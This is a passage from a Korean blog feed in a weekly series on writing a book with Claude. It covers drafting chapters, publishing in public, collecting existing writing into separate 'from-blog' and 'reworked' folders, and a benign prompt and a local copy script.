&lt;li&gt;&lt;strong&gt;발췌 다시 읽기&lt;/strong&gt; — &lt;code class=&quot;language-text&quot;&gt;from-blog/&lt;/code&gt;의 원본을 한 번 읽되, &lt;strong&gt;고치지 않고&lt;/strong&gt; 읽습니다. &quot;이 챕터의 핵심이 뭐였지&quot;만 잡습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;한 줄 메시지 재확인&lt;/strong&gt; — &lt;a href=&quot;/book-making-03-table-of-contents/&quot;&gt;#3에서 만든 outline&lt;/a&gt;에서 이 챕터의 &lt;strong&gt;한 줄 메시지&lt;/strong&gt;를 다시 봅니다. 쓰다가 길을 잃으면 항상 여기로 돌아옵니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;골격부터 — 소제목만 먼저&lt;/strong&gt; — 본문을 쓰기 전에 &lt;code class=&quot;language-text&quot;&gt;##&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;###&lt;/code&gt; 소제목을 4~6개 박습니다. 골격이 서면 절반은 끝난 것입니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;살 붙이기&lt;/strong&gt; — 소제목 사이를 채웁니다. 한 번에 완벽하게가 아니라, &lt;strong&gt;거칠게 끝까지&lt;/strong&gt; 먼저. 다듬기는 #6에서.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;이 4단계의 핵심은 &lt;strong&gt;&quot;완성&quot;이 아니라 &quot;초고 완료&quot;가 목표&lt;/strong&gt;라는 것입니다. 한 챕터의 초고가 화면에 다 떠 있는 것과, 머릿속에만 있는 것은 하늘과 땅 차이입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;빌드 인 퍼블릭 — 왜 공개하며 쓰는가&lt;/h2&gt;
&lt;p&gt;이 시리즈의 진짜 엔진은 여기 있습니다. 저는 챕터를 &lt;strong&gt;다 쓴 뒤 공개&lt;/strong&gt;하는 게 아니라, &lt;strong&gt;공개하기로 했기 때문에 씁니다.&lt;/strong&gt; 순서가 반대입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;마감이 생긴다&lt;/strong&gt; — &quot;일요일 발행&quot;이라는 약속이 매주 한 챕터를 강제로 끝내게 합니다. 혼자 쓰는 책의 90%가 미완으로 끝나는 이유는 마감이 없어서입니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;피드백 루프가 돈다&lt;/strong&gt; — 발행하면 댓글·질문이 옵니다. 그 질문이 다음 챕터의 FAQ가 되고, 빠진 설명을 채워줍니다. 혼자선 절대 못 보는 사각지대입니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자산이 누적된다&lt;/strong&gt; — 발행한 글은 사라지지 않습니다. 검색에 쌓이고, 독자가 모이고, 그 자체가 책의 마케팅이 됩니다. &lt;strong&gt;이 글 한 편 한 편이 책의 예고편&lt;/strong&gt;인 셈입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;증거가 필요하신가요? &lt;strong&gt;지금 읽고 계신 이 #5 글이 곧 책의 5장 초고&lt;/strong&gt;입니다. 저는 책을 따로 쓰고 있지 않습니다. 매주 이 연재를 쓰는 일이 곧 책을 쓰는 일입니다.&lt;/p&gt;
&lt;p&gt;물론 공개에는 비용이 있습니다 — 완벽하지 않은 글을 내보내는 부담, 반응이 없을 때의 허전함. 그래서 약속합니다. &lt;strong&gt;&quot;완벽한 글&quot;이 아니라 &quot;이번 주의 최선&quot;을 낸다.&lt;/strong&gt; 다듬기는 8주가 끝난 뒤 &lt;code class=&quot;language-text&quot;&gt;reworked → chapters&lt;/code&gt; 승격 단계에서 한 번 더 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실습 1 — Claude로 &quot;블로그 톤 → 책 톤&quot; 변환&lt;/h2&gt;
&lt;p&gt;발췌 글을 통째로 붙이고 다음처럼 요청합니다. (개발자·비개발자 공통)&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;아래는 내 블로그 글이야. 이걸 전자책의 한 챕터 초고로 바꿔줘.
조건:
1. &quot;지난주&quot;, &quot;최근&quot; 같은 시의성 표현을 걷어내고 시간에 안 묶이게.
2. 이 장만 펼친 독자도 이해하도록 빠진 전제를 한 문장씩 보완.
3. 이 챕터의 한 줄 메시지는 &quot;○○○&quot; — 여기서 벗어나는 문단은 빼자고 제안해줘.
4. 문체는 ~합니다체, 1인칭, 담백하게.
내 문장을 최대한 살리되, 바꾼 곳은 이유를 한 줄로 알려줘.

---
[발췌 글 붙여넣기]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;핵심은 마지막 줄 — &lt;strong&gt;&quot;바꾼 곳은 이유를 알려줘&quot;&lt;/strong&gt; 입니다. Claude가 통째로 다시 쓰면 내 목소리가 사라집니다. &lt;strong&gt;내 문장을 살리고, 바꾼 부분만 검토&lt;/strong&gt;하는 방식이라야 &quot;내 책&quot;이 됩니다.&lt;/p&gt;
&lt;h2&gt;실습 2 — 한 챕터 공개하고, 피드백 &quot;1개만&quot; 반영&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;위 4단계로 한 챕터 초고를 끝냅니다. (완벽 금지, 초고면 충분)&lt;/li&gt;
&lt;li&gt;블로그·SNS·뉴스레터 어디든 &lt;strong&gt;공개&lt;/strong&gt;합니다. 비공개 메모장에 두지 마세요.&lt;/li&gt;
&lt;li&gt;들어온 반응 중 &lt;strong&gt;반영할 것 딱 1개&lt;/strong&gt;만 고릅니다. 전부 반영하려 하면 영원히 못 끝냅니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;발행 채널이 아직 없다면, 가까운 사람 한 명에게 보내는 것도 &quot;공개&quot;입니다. &lt;strong&gt;읽어줄 사람이 생기는 순간 글의 밀도가 달라집니다.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;챕터 쓰기의 함정 — 이것만 피하세요&lt;/h2&gt;
&lt;h3&gt;❌ 1. 완벽해질 때까지 발행을 미룬다&lt;/h3&gt;
&lt;p&gt;빌드 인 퍼블릭의 반대말은 &quot;완벽주의 서랍&quot;입니다. 초고를 서랍에 넣는 순간 그 챕터는 죽습니다. &lt;strong&gt;80%면 내보내세요.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;❌ 2. 피드백을 전부 반영한다&lt;/h3&gt;
&lt;p&gt;열 명이 열 가지를 말합니다. 다 따르면 책이 누더기가 됩니다. &lt;strong&gt;한 줄 메시지에 맞는 피드백 1~2개만.&lt;/strong&gt; 나머지는 정중히 흘려보냅니다.&lt;/p&gt;
&lt;h3&gt;❌ 3. 블로그 글을 그대로 복붙한다&lt;/h3&gt;
&lt;p&gt;가장 흔한 실수입니다. 발췌는 재료일 뿐, &lt;strong&gt;시점·맥락·연결&lt;/strong&gt;을 손보지 않으면 &quot;책&quot;이 아니라 &quot;블로그 묶음&quot;이 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;다음 주 예고 (#6 — 다듬기와 디자인)&lt;/h2&gt;
&lt;p&gt;초고를 8주에 걸쳐 다 쌓았다면, 다음은 &lt;strong&gt;옷을 입힐 차례&lt;/strong&gt;입니다. #6에서는 &lt;strong&gt;표지·다이어그램·문체 통일&lt;/strong&gt;을 다룹니다 — HTML과 Playwright로 표지 이미지를 찍어내는 룰, 챕터마다 들쭉날쭉한 말투를 하나로 맞추는 법, 그리고 &quot;디자인이 곧 신뢰&quot;인 이유까지. 글이 책처럼 &lt;strong&gt;보이기&lt;/strong&gt; 시작하는 단계입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q1. 글을 공개할 채널이 없어요. 그래도 빌드 인 퍼블릭이 되나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;됩니다.&lt;/strong&gt; 핵심은 &quot;관객의 존재&quot;이지 &quot;큰 플랫폼&quot;이 아닙니다. 친구 한 명, 가족, 스터디 단톡방이면 충분합니다. &lt;strong&gt;읽어줄 한 사람&lt;/strong&gt;만 있으면 마감과 책임감이 생깁니다.&lt;/p&gt;
&lt;h3&gt;Q2. 한 챕터에 시간이 너무 오래 걸려요.&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;소제목부터 박으세요(4단계의 3번).&lt;/strong&gt; 빈 화면에 문장을 짜내려 하면 한없이 늘어집니다. 골격(소제목 4~6개)을 먼저 세우면 &quot;칸 채우기&quot;가 되어 속도가 붙습니다.&lt;/p&gt;
&lt;h3&gt;Q3. Claude가 고친 문장이 더 매끄러운데, 그냥 그걸 쓰면 안 되나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;매끄러움보다 내 목소리가 먼저입니다.&lt;/strong&gt; AI 문장은 평균적으로 깔끔하지만 개성이 없습니다. Claude는 &lt;strong&gt;검토자&lt;/strong&gt;로 쓰고, 최종 문장은 내가 고릅니다. 그래야 1년 뒤에도 &quot;내가 쓴 책&quot;이라 말할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;Q4. 발행한 글을 나중에 또 고쳐도 되나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;얼마든지요.&lt;/strong&gt; 블로그는 살아 있는 문서입니다. 다만 큰 수정은 8주 연재가 끝난 뒤 &lt;code class=&quot;language-text&quot;&gt;reworked → chapters&lt;/code&gt; 승격 때 한 번에 하는 걸 권합니다. 매주 고치기 시작하면 새 챕터를 못 씁니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;오늘 두 가지만 하시면 됩니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ 발췌 글 1편을 위 &lt;strong&gt;4단계&lt;/strong&gt;로 &quot;한 챕터 초고&quot;까지 끌고 가기 (완벽 금지)&lt;/li&gt;
&lt;li&gt;✅ 그 초고를 &lt;strong&gt;어디든 공개&lt;/strong&gt;하고, 들어온 반응 중 &lt;strong&gt;1개만&lt;/strong&gt; 반영하기&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;초고 하나를 끝까지 써서 세상에 내보내는 경험 — 그게 이번 주의 진짜 목표입니다. 완성도가 아니라 &lt;strong&gt;&quot;끝내고 공개하는 근육&quot;&lt;/strong&gt; 말입니다.&lt;/p&gt;
&lt;p&gt;여러분은 지금 책을 &lt;strong&gt;혼자 조용히&lt;/strong&gt; 쓰고 계신가요, 아니면 &lt;strong&gt;누군가에게 보여주며&lt;/strong&gt; 쓰고 계신가요? &lt;strong&gt;댓글로 남겨주시면&lt;/strong&gt; 다음 주 #6에서 함께 이야기해보겠습니다.&lt;/p&gt;
&lt;p&gt;다음 주에 또 뵙겠습니다. 자바파커였습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Claude 책 만들기 #4 — 자료 모으기: 흩어진 글을 책 자료로]]></title><description><![CDATA[Claude 책 만들기 #4 — 자료 모으기: 흩어진 글을 책 자료로 "막상 쓰려니 빈 화면만 깜빡거려요. 5…]]></description><link>https://blog.javapark.kr/book-making-04-collecting-materials/</link><guid isPermaLink="false">https://blog.javapark.kr/book-making-04-collecting-materials/</guid><pubDate>Fri, 12 Jun 2026 21:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/book-making-04-collecting-materials.png&quot; alt=&quot;Claude 책 만들기 #4 — 자료 모으기: 흩어진 글을 책 자료로&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;막상 쓰려니 빈 화면만 깜빡거려요. 50페이지를 어떻게 다 채우죠?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;지난 글에 달린 질문이자, 사실 매주 책상 앞에서 제가 가장 먼저 마주하는 감정입니다.&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다. 「나만의 책만들기」 8주 챌린지 &lt;strong&gt;4회차&lt;/strong&gt;입니다. &lt;a href=&quot;/book-making-01-getting-started/&quot;&gt;#1에서 도구·폴더&lt;/a&gt;를 잡고, &lt;a href=&quot;/book-making-02-concept/&quot;&gt;#2에서 콘셉트&lt;/a&gt;를, &lt;a href=&quot;/book-making-03-table-of-contents/&quot;&gt;#3에서 차례(outline)&lt;/a&gt;까지 세웠습니다. 이제 그 빈 차례 칸을 &lt;strong&gt;글로 채울 차례&lt;/strong&gt;인데 — 오늘은 그 첫 삽을 &lt;strong&gt;&quot;새로 쓰기&quot;가 아니라 &quot;모으기&quot;로&lt;/strong&gt; 뜨는 이야기입니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;책의 첫 자료는 새로 쓰는 게 아니라, 이미 써둔 것을 모으는 데서 나옵니다.&lt;/strong&gt; 여러분은 생각보다 많은 글을 이미 갖고 있습니다. 블로그 글, 메모, 누군가에게 보낸 긴 답장, SNS에 끄적인 생각. 흩어져 있을 뿐입니다. 오늘 할 일은 그것들을 &lt;strong&gt;한곳에 모으고, 어느 챕터의 재료인지 표시&lt;/strong&gt;하는 것입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 &quot;새로 쓰기&quot;보다 &quot;모으기&quot;가 먼저인가&lt;/h2&gt;
&lt;p&gt;빈 화면이 무서운 이유는 단순합니다. &lt;strong&gt;0에서 1을 만들어야 하기 때문&lt;/strong&gt;입니다. 그런데 책 한 권의 대부분은 0에서 시작하지 않습니다. 여러분이 어떤 주제로 책을 쓰기로 했다는 건, 이미 그 주제를 &lt;strong&gt;여러 번 말하고 써봤다&lt;/strong&gt;는 뜻이거든요.&lt;/p&gt;
&lt;p&gt;저의 경우 이 「나만의 책만들기」의 절반은 &lt;strong&gt;이미 블로그에 흩어져 있던 글&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;작업 폴더 세팅 → 예전 &quot;개발 환경&quot; 글&lt;/li&gt;
&lt;li&gt;빌드 인 퍼블릭 운영 → 매주 쓰던 &lt;strong&gt;위클리 일지&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;자동화 워크플로우 → 30분 만에 만든 자동화 사례 글&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;새로 쓴 게 아니라, &lt;strong&gt;이미 쓴 것을 책의 언어로 옮긴&lt;/strong&gt; 것입니다. &quot;모으기&quot;를 먼저 하면 빈 화면이 &lt;strong&gt;반쯤 찬 화면&lt;/strong&gt;으로 바뀝니다. 1에서 2를 만드는 일은 0에서 1보다 훨씬 쉽습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;핵심: &lt;strong&gt;수집은 창작보다 심리적 저항이 낮다.&lt;/strong&gt; 가장 막막한 첫 주를, 가장 쉬운 작업으로 시작하는 전략입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;발췌와 재구성을 분리하라 — 폴더 두 개의 원칙&lt;/h2&gt;
&lt;p&gt;자료 모으기에서 가장 중요한 한 가지를 먼저 말씀드립니다. &lt;strong&gt;&quot;가져오는 일&quot;과 &quot;고쳐 쓰는 일&quot;을 절대 한 번에 하지 마세요.&lt;/strong&gt; 두 작업은 머리를 쓰는 방식이 완전히 다릅니다. 섞으면 둘 다 느려집니다.&lt;/p&gt;
&lt;p&gt;그래서 자료 폴더를 둘로 나눕니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;book/drafts/
├── from-blog/     # 1단계: 발췌 — 원본을 그대로 복사 (손대지 않음)
└── reworked/      # 2단계: 재구성 — 책 톤으로 다시 쓰는 작업장&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;1단계 — 발췌(extract): 원본 그대로, 출처만 남긴다&lt;/h3&gt;
&lt;p&gt;발췌는 &lt;strong&gt;편집하지 않습니다.&lt;/strong&gt; 원본 글을 그대로 복사해 오고, 맨 위에 &lt;strong&gt;출처와 가져온 날짜&lt;/strong&gt;만 주석으로 답니다. 이 단계의 목적은 단 하나 — &lt;strong&gt;&quot;이 챕터에 쓸 재료가 여기 있다&quot;는 사실을 확보&lt;/strong&gt;하는 것입니다.&lt;/p&gt;
&lt;p&gt;왜 안 고치냐고요? 발췌하면서 문장을 다듬기 시작하면, 자료 10개를 모으는 데 하루가 다 갑니다. 모으기는 &lt;strong&gt;빠르게, 양으로&lt;/strong&gt; 가야 합니다. 다듬기는 그다음입니다.&lt;/p&gt;
&lt;h3&gt;2단계 — 재구성(rework): 책의 언어로 다시 쓴다&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;reworked/&lt;/code&gt;에서 비로소 책 톤으로 고칩니다. 블로그 글은 &quot;그때 그 순간&quot;의 호흡이고, 책은 &quot;처음 보는 독자&quot;의 호흡입니다. 시점을 바꾸고, 앞뒤 챕터와 연결하고, 블로그 특유의 시의성(&quot;지난주에&quot;)을 걷어냅니다. 이 작업은 **#5(챕터 쓰기)**에서 본격적으로 다룹니다.&lt;/p&gt;
&lt;h3&gt;왜 굳이 폴더를 나누나&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;원본 보존&lt;/strong&gt; — 재구성하다 길을 잃어도 &lt;code class=&quot;language-text&quot;&gt;from-blog/&lt;/code&gt;의 원본은 그대로 있습니다. 언제든 처음으로 돌아갈 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;진척이 눈에 보인다&lt;/strong&gt; — &lt;code class=&quot;language-text&quot;&gt;from-blog/&lt;/code&gt;에 파일이 쌓이는 것만으로 &quot;자료가 모이고 있다&quot;는 실감이 납니다. 빌드 인 퍼블릭의 동력입니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;출처 추적&lt;/strong&gt; — 나중에 부록 D(발행 글 링크 모음)를 만들 때, 어떤 챕터가 어느 원본에서 왔는지 한눈에 보입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;자료는 어디서 모으나 — 네 곳&lt;/h2&gt;
&lt;p&gt;빈손이라고 느껴져도, 보통 이 네 곳에 재료가 숨어 있습니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;내 블로그·SNS 글&lt;/strong&gt; — 가장 큰 광맥. 이미 다듬어진 문장입니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;메모·노트앱&lt;/strong&gt; — Notion, 메모장, 카톡 &quot;나에게 보내기&quot;. 정제는 안 됐어도 &lt;strong&gt;생각의 원석&lt;/strong&gt;입니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;남에게 보낸 긴 답변&lt;/strong&gt; — 질문에 진심으로 답한 글은 이미 &quot;독자를 향한&quot; 글입니다. 책 본문에 가장 가깝습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;외부 자료·인용&lt;/strong&gt; — 공식 문서, 통계, 인용하고 싶은 책. 단, 출처를 반드시 &lt;code class=&quot;language-text&quot;&gt;research/references.md&lt;/code&gt;에 기록하세요.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href=&quot;/book-making-03-table-of-contents/&quot;&gt;#3에서 만든 outline&lt;/a&gt;의 &lt;strong&gt;&quot;발췌 후보&quot; 칸&lt;/strong&gt;을 기억하시나요? 지금이 그 칸을 채울 때입니다. 모은 자료를 챕터 번호에 하나씩 붙여 나갑니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실습 1 (개발자) — &lt;code class=&quot;language-text&quot;&gt;mirror-from-blog.sh&lt;/code&gt; 한 줄로 발췌&lt;/h2&gt;
&lt;p&gt;개발자라면 발췌를 손으로 복사·붙여넣기 할 필요가 없습니다. 원본 경로만 넘기면 출처 주석을 달아 &lt;code class=&quot;language-text&quot;&gt;from-blog/&lt;/code&gt;에 떨어뜨리는 스크립트 하나면 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 블로그 글 한 편을 책 작업 폴더로 발췌&lt;/span&gt;
./scripts/mirror-from-blog.sh contents/posts/claude-code/qa-automation-guide/index.md

&lt;span class=&quot;token comment&quot;&gt;# 출력: book/drafts/from-blog/qa-automation-guide-extract.md&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#   - 상단에 &quot;출처 경로 · 미러 시각&quot; 주석 자동 추가&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#   - 본문은 원본 그대로 (편집 없음)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;스크립트가 하는 일은 세 가지뿐입니다 — ① 원본을 읽고, ② 맨 위에 출처·시각 주석을 붙이고, ③ &lt;code class=&quot;language-text&quot;&gt;from-blog/&lt;/code&gt;에 복사. &lt;strong&gt;원본은 절대 건드리지 않습니다.&lt;/strong&gt; &quot;발췌는 편집하지 않는다&quot;는 원칙이 스크립트로 강제되는 셈입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;스크립트 전문은 책 &lt;strong&gt;부록 C&lt;/strong&gt;에 그대로 싣습니다. 직접 만들고 싶다면 Claude에게 &quot;원본 마크다운을 출처 주석과 함께 다른 폴더로 복사하는 bash 스크립트&quot;를 요청하면 5분이면 나옵니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;실습 2 (비개발자) — 폴더 두 개와 &quot;출처 한 줄&quot;&lt;/h2&gt;
&lt;p&gt;스크립트가 없어도 원칙은 똑같습니다. 손으로 하면 됩니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;작업 폴더에 하위 폴더 두 개를 만듭니다 — &lt;code class=&quot;language-text&quot;&gt;발췌&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;재구성&lt;/code&gt; (영어로 &lt;code class=&quot;language-text&quot;&gt;from-blog&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;reworked&lt;/code&gt;라도 좋습니다).&lt;/li&gt;
&lt;li&gt;책에 쓸 만한 글을 찾으면 &lt;strong&gt;그대로 복사&lt;/strong&gt;해 &lt;code class=&quot;language-text&quot;&gt;발췌&lt;/code&gt; 폴더에 새 문서로 붙여넣습니다.&lt;/li&gt;
&lt;li&gt;문서 맨 위 한 줄에 출처를 적습니다 — &lt;code class=&quot;language-text&quot;&gt;출처: 2025-11-03 블로그 &quot;○○○&quot; / 가져온 날: 오늘&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;끝. 다듬고 싶은 충동이 들어도 참으세요. 다듬기는 &lt;code class=&quot;language-text&quot;&gt;재구성&lt;/code&gt; 폴더에서, 다음 주에.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Notion이라면 &lt;strong&gt;데이터베이스 한 개&lt;/strong&gt;에 &quot;원문 / 출처 / 매핑 챕터 / 상태(발췌·재구성·완료)&quot; 열을 두는 것으로 충분합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;모으기의 함정 — 이것만 피하세요&lt;/h2&gt;
&lt;h3&gt;❌ 1. 원본을 고치기 시작한다&lt;/h3&gt;
&lt;p&gt;발췌하다 &quot;이 문장 어색한데&quot; 하고 손대는 순간, 모으기가 글쓰기로 바뀌고 속도가 죽습니다. &lt;strong&gt;발췌 폴더에선 읽기만, 쓰기는 재구성 폴더에서.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;❌ 2. 출처를 안 남긴다&lt;/h3&gt;
&lt;p&gt;3주 뒤 &quot;이 단락 어디서 가져왔지?&quot;가 반드시 옵니다. 출처 한 줄이 부록 D와 인용 표기를 살립니다. &lt;strong&gt;가져올 때 바로&lt;/strong&gt; 적으세요. 나중은 없습니다.&lt;/p&gt;
&lt;h3&gt;❌ 3. 모으기만 하고 안 쓴다&lt;/h3&gt;
&lt;p&gt;수집은 중독성이 있습니다. 자료가 20개 쌓이면 &quot;더 모아야지&quot;가 아니라 **&quot;이제 충분하다&quot;**가 정답입니다. 한 챕터에 재료 2~3개면 차고 넘칩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;다음 주 예고 (#5 — 챕터 쓰기)&lt;/h2&gt;
&lt;p&gt;자료를 모았으니, 다음 주는 드디어 &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;reworked/&lt;/code&gt;에서 한 챕터를 실제로 써내는&lt;/strong&gt; 단계입니다. 발췌한 블로그 글이 어떻게 &quot;책의 한 장&quot;으로 바뀌는지 — 시점 전환, 챕터 간 연결, 그리고 &lt;strong&gt;빌드 인 퍼블릭이 글쓰기를 끌고 가는 힘&lt;/strong&gt;을 직접 보여드립니다. 이번 시리즈를 매주 쓰는 일 자체가 그 사례가 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q1. 모을 글이 정말 하나도 없으면요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;그럼 &quot;쓴 글&quot;이 아니라 &quot;한 말&quot;을 모으세요.&lt;/strong&gt; 누군가에게 이 주제를 설명했던 카톡, 댓글, 음성 메모를 텍스트로 옮기면 그게 1차 자료입니다. 완전한 백지에서 시작하는 책은 거의 없습니다.&lt;/p&gt;
&lt;h3&gt;Q2. 남의 글·자료를 발췌해도 되나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;인용은 되고, 복제는 안 됩니다.&lt;/strong&gt; 남의 글은 &quot;출처를 밝힌 짧은 인용&quot;까지만. &lt;code class=&quot;language-text&quot;&gt;research/references.md&lt;/code&gt;에 URL과 인용 범위를 기록하고, 본문에선 내 언어로 요약하세요. 통째로 옮기는 건 발췌가 아니라 표절입니다.&lt;/p&gt;
&lt;h3&gt;Q3. 발췌와 재구성을 꼭 따로 해야 하나요? 한 번에 하면 안 되나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;나눌수록 빨라집니다.&lt;/strong&gt; 한 번에 하면 글 한 편당 30분씩 걸려 첫 주에 지칩니다. 발췌는 양으로 빠르게(편당 2분), 재구성은 질로 천천히(편당 30분)로 분리하면 진척이 훨씬 잘 보입니다.&lt;/p&gt;
&lt;h3&gt;Q4. 블로그 글을 책에 그대로 써도 SEO에 문제 없나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;책(PDF/EPUB)과 블로그는 검색 인덱스가 분리&lt;/strong&gt;되어 중복 문제는 거의 없습니다. 다만 책에 실을 땐 어차피 &lt;code class=&quot;language-text&quot;&gt;reworked/&lt;/code&gt;에서 톤을 바꾸므로 문장이 달라집니다. 같은 내용을 &lt;strong&gt;다른 매체에 맞게 두 번 쓰는 것&lt;/strong&gt;이라고 보면 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;오늘 두 가지만 하시면 됩니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ 작업 폴더에 &lt;code class=&quot;language-text&quot;&gt;from-blog&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;reworked&lt;/code&gt;(발췌·재구성) 폴더 두 개 만들기&lt;/li&gt;
&lt;li&gt;✅ 책에 쓸 글 &lt;strong&gt;3개&lt;/strong&gt;를 발췌 폴더로 가져오고, 각 문서 맨 위에 &lt;strong&gt;출처 한 줄&lt;/strong&gt; 적기&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;딱 3개면 됩니다. 완벽한 자료가 아니라, &lt;strong&gt;&quot;모으기 근육&quot;을 한 번 써보는 것&lt;/strong&gt;이 이번 주의 목표입니다.&lt;/p&gt;
&lt;p&gt;여러분 책의 첫 자료는 &lt;strong&gt;어디에 숨어 있나요?&lt;/strong&gt; 블로그? 오래된 메모? 누군가에게 보낸 긴 답장? &lt;strong&gt;댓글로 남겨주시면&lt;/strong&gt; 다음 주 #5에서 &quot;이 자료를 한 챕터로 만든다면&quot; 사례로 함께 풀어보겠습니다.&lt;/p&gt;
&lt;p&gt;다음 주에 또 뵙겠습니다. 자바파커였습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[AI로 개발자 집중력 높이기 — 산업공학으로 본 5가지 AI 활용 전략]]></title><description><![CDATA[AI로 개발자 집중력 높이기 — 산업공학으로 본 5가지 AI 활용 전략 "AI…]]></description><link>https://blog.javapark.kr/ai-developer-focus-industrial-engineering/</link><guid isPermaLink="false">https://blog.javapark.kr/ai-developer-focus-industrial-engineering/</guid><pubDate>Sun, 07 Jun 2026 10:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/ai-developer-focus-industrial-engineering.png&quot; alt=&quot;AI로 개발자 집중력 높이기 — 산업공학으로 본 5가지 AI 활용 전략&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;AI한테 시키면 빨라진다는데, 정작 나는 왜 더 정신없어졌을까요?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
